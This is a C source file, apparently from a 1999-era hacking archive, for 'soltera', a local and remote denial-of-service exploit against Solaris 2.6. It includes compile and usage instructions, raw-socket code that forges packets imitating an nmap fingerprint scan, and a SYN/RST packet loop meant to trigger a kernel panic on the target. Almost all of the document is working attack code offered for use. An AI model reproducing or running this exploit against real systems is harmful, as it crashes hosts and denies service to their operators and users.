home *** CD-ROM | disk | FTP | other *** search
- /* soltera.c - (c) Sep 1999 by Mixter
- * Local / Remote DoS against Solaris 2.6 (other versions?)
- *
- * Description: nmap fingerprint scans against any daemon that
- * terminates right after the scans are able to produce a kernel
- * panic on Solaris 2.6. (found by D.Brumley)
- * Local exploit: this program will create, scan and kill a listening
- * server. Just run it without arguments.
- * Remote exploit: soltera <ip> <port> - this _might_ work for a
- * service started again by inetd for every new session.
- *
- * cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
- *
- * +++ root priviledges are needed for the fingerprinting +++
- */
-
- #define PORT 0xC0D3
- #define REPEAT 255
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <strings.h>
- #include <netinet/in.h>
- #include <sys/signal.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <netdb.h>
- #include <arpa/inet.h>
- #include <errno.h>
- #include <signal.h>
-
- void server (int);
- void fakeosscan (u_long, int);
-
- #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
-
- #define ANS "\x1b\x5b"
- #define TH_FIN 0x01
- #define TH_SYN 0x02
- #define TH_RST 0x04
- #define TH_PUSH 0x08
- #define TH_ACK 0x10
- #define TH_URG 0x20
- #define TH_BOG 64
-
- /* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
- #define WINSIZ 2048
-
- #ifdef SOLARIS
- #include <sys/stream.h>
- #include <sys/dlpi.h>
- #include <sys/bufmod.h>
- #include <netinet/ip_var.h>
- #define htons(x) (x)
- #define htonl(x) (x)
- #define u_int8_t uint8_t
- #define u_int16_t uint16_t
- #define u_int32_t uint32_t
- #endif
-
- struct iphdr
- {
- #if __BYTE_ORDER == __LITTLE_ENDIAN
- u_int8_t ihl:
- 4;
- u_int8_t version:
- 4;
- #elif __BYTE_ORDER == __BIG_ENDIAN
- u_int8_t version:
- 4;
- u_int8_t ihl:
- 4;
- #else
- #error "Please fix <bytesex.h>"
- #endif
- u_int8_t tos;
- u_int16_t tot_len;
- u_int16_t id;
- u_int16_t frag_off;
- u_int8_t ttl;
- u_int8_t protocol;
- u_int16_t check;
- u_int32_t saddr;
- u_int32_t daddr;
- };
-
- struct tcphdr
- {
- u_int16_t source;
- u_int16_t dest;
- u_int32_t seq;
- u_int32_t ack_seq;
- #if __BYTE_ORDER == __LITTLE_ENDIAN
- u_int8_t th_x2:
- 4;
- u_int8_t th_off:
- 4;
- #endif
- #if __BYTE_ORDER == __BIG_ENDIAN
- /* u_int8_t th_off:4;
- u_int8_t th_x2:4; */
- #endif
- u_int8_t th_flags;
- u_int16_t th_win;
- u_int16_t check;
- u_int16_t th_urp;
- };
-
- u_short
- ip_sum (addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
- while (nleft > 1)
- {
- sum += *w++;
- nleft -= 2;
- }
- if (nleft == 1)
- {
- *(u_char *) (&answer) = *(u_char *) w;
- sum += answer;
- }
- if (nleft == 1)
- {
- *(u_char *) (&answer) = *(u_char *) w;
- sum += answer;
- }
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return (answer);
- }
-
- int
- main (int ac, char **av)
- {
- int p = PORT, pid;
- u_long ia;
-
- if (ac < 2 || !(ia = inet_addr (av[1])))
- {
- printf (ANS "0;32m[using ip 127.0.0.1]\n");
- ia = inet_addr ("127.0.0.1");
- }
- else
- printf (ANS "0;32m[using ip %s]\n", av[1]);
- if (ac >= 3)
- if (atoi (av[2]))
- p = atoi (av[2]);
- printf (ANS "0;34m[using port %d]\n", p);
- if (getuid ())
- {
- printf ("You need root to use fingerprinting locally...\n");
- printf ("Listening as server only, hit CTRL+C to abort.\n");
- for (;;) server(p);
- }
- pid = fork ();
- if (!pid)
- server (p);
- sleep (3);
- fakeosscan (ia, p);
- if (kill (pid, SIGKILL) == -1)
- printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
- else
- printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
- sleep (3);
- fakeosscan (ia, p);
- sleep (10);
- printf (ANS "0;35m[all done]%s0;0m\n", ANS);
- return 0;
- }
-
- void
- server (int port)
- {
- int c, e = sizeof (struct sockaddr_in);
- struct sockaddr_in l, r;
- l.sin_family = AF_INET;
- l.sin_port = htons (port);
- l.sin_addr.s_addr = INADDR_ANY;
- memset (l.sin_zero, 0, 8);
- c = socket (AF_INET, SOCK_STREAM, 0);
- bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
- listen (c, 0xFF);
- printf (ANS "1;33m[server listening on port %d]\n", port);
- while (accept (c, (struct sockaddr *) &r, &e));
- }
-
- void
- fakeosscan (u_long ip, int port)
- {
- int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
- int orig = getrandom (1024, 65534);
- char synb[8192];
- struct sockaddr_in sin;
- struct iphdr *ih = (struct iphdr *) synb;
- struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
- u_long seq = random ();
- char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
- char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";
-
- printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons (port);
- sin.sin_addr.s_addr = ip;
-
- connect (r, (struct sockaddr *) &sin, sizeof (sin));
- close (r);
- r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
-
- ih->version = 4;
- ih->ihl = 5;
- ih->tos = 0x00;
- ih->id = htons (random ());
- ih->frag_off = 0;
- ih->ttl = getrandom (0, 255);
- ih->protocol = IPPROTO_TCP;
- ih->check = 0;
- ih->saddr = 0;
- ih->daddr = ip;
- th->source = htons (orig);
- th->dest = htons (port);
- th->seq = seq;
- th->ack_seq = 0;
- th->th_flags = 0;
- th->th_win = htons (WINSIZ);
- th->check = 0;
- th->th_urp = 0;
- memset (eoh, 0, 20);
- memcpy (eoh, options, optlen);
-
- /* packet 1 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_BOG | TH_SYN;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
- (struct sockaddr *) &sin, sizeof (sin));
-
- /* packet 2 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = 0;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* packet 3 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
- 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* packet 4 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_ACK;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* packet 5 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_SYN;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* packet 6 */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_ACK;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* guess */
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_FIN | TH_PUSH | TH_URG;
- th->source++;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
-
- /* we omit the udp stuff */
-
- /* the actual mutex_enter exploit (rst/syn/rst/syn...) */
- optlen = 0;
- memset (eoh, 0, sizeof (options));
- ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
- th->th_off = 5 + (optlen / 4);
- th->th_flags = TH_SYN;
- for (i = 0; i <= REPEAT; i++)
- {
- if (i % 2)
- {
- th->th_flags = TH_SYN;
- th->th_win = htons (WINSIZ);
- }
- else
- {
- th->th_flags = TH_RST;
- th->th_win = 0;
- }
- th->source = orig + i;
- th->seq = seq + i;
- th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
- ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
- sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
- usleep (31337);
- }
-
- close (r);
- }
-
- /* www.hack.co.za [2000]*/